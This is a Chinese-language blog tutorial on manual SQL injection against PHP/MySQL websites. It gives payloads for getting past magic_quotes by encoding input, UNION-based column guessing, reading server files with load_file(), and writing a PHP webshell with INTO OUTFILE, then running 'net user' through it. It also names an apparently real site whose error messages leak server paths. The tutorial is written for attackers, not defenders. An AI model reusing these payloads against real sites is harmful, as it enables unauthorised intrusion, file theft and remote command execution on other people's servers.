PHP注入基礎

技術小甜發表於2017-11-17
PHP注入不象ASP那樣有NBSI之類的超強工具,其實知道他的注入原理後,完全可以實現手工注入。 

在php.ini中有一個配置選項magic_quotes_gpc=on/off當=ON時會把提交變數中的單引號,雙引號,反斜線,空白字元前面加上反斜線變成轉義字元,遇到這種情況,我們可以把提交語句用ASC或0X進行編碼舊可以饒過了。有幾個比較關鍵的語句,一是UNION,通過並運算查詢當前表中欄位,用與將多個SELECT語句的結果聯合到一個結果集中,可以用它猜欄位,EG:id=1234 and 1=2 union select 1,2,3,4…。猜出後會在相應地方出現數字對應。load_file()用來返回檔案裡的內容,注意的是要寫明全檔案路徑和名稱,當然會出現檔案讀不出來的問題,原因很多主要是許可權問題,還有檔案是否可讀,MYSQL使用者是否具有FILE許可權,還有就是些程式碼處理問題了用相關函式或者查原始碼就可以了。EG:load_file(`c:/boot.ini`),可以嵌入到UNION查詢中,在相應的數字的位置上就會顯示出你要得系統檔案了。into outfile用來把表中內容寫入檔案,假設我們可以上傳圖片,上傳後路徑為:/upload/111.jpg,圖片中的內容是一個很簡單的系統變數<?phpsystem($cmd)?>,提交語句:id=1234 and 1=2 union select 1,2,load_file(`d:/xxx/xxxx/down/upload/111.jpg`),4 into file`d:/xxx/xxxx/down/muma.php`(以前看過這個列子,記得最清楚了,嘿嘿~~),接著我們去看[url]http://www.xxx.com/down/muma.php?cmd=net user[/url],就可以執行命令了,注意的是MYSQL5。0以下不支援AND連線兩個表查詢。 得到WEBSHELL還可以找一個可寫的目錄插入資料然後再匯出到相應檔案(如下),…很多方法。 
CREATE TABLE file (cmd text NOT NULL) 
INSERT INTO file (cmd) VALUES () 
select cmd from file into outfile filepath 
DROP TABLE IF EXISTS file 
有些站測試提交單引號就可以暴露很多資訊是因為在php.ini中選項display_errors=on,會返回錯誤資訊,象提交:[url]http://www.shyau.com.tw/article.php?sid=140[/url]`,結果呢?:Warning: Supplied argument is not a valid MySQL result resource in d:foxservwwwshyauincludessql_layer.php on line 230 

Warning: Supplied argument is not a valid MySQL result resource in d:foxservwwwshyauincludessql_layer.php on line 230路徑都出來了,暈。 

有時當提交單引號不能返回錯誤資訊時,可以增加查詢負值或改變查詢型別,例如:id=1234我們可以提交:id=11111….(邊界檢查不徹底)或id=ssss(第一次見還是在X擋案看無敵的文章,原來這也可以啊)也有可能暴出敏感資訊。 

mysql也有內建變數,version()返回當前資料庫版本資訊,database()返回當前資料庫名,user(),system_user(),session_user()返回MYSQL使用者名稱,可以幫助我們獲得更多資訊。這些都是很基礎的東西,更多的技術還要大家自己發現,文章含蓋並不全,有些資料細節往大家查詢PHP中文手冊。~~














本文轉自loveme2351CTO部落格,原文連結: http://blog.51cto.com/loveme23/8585,如需轉載請自行聯絡原作者




相關文章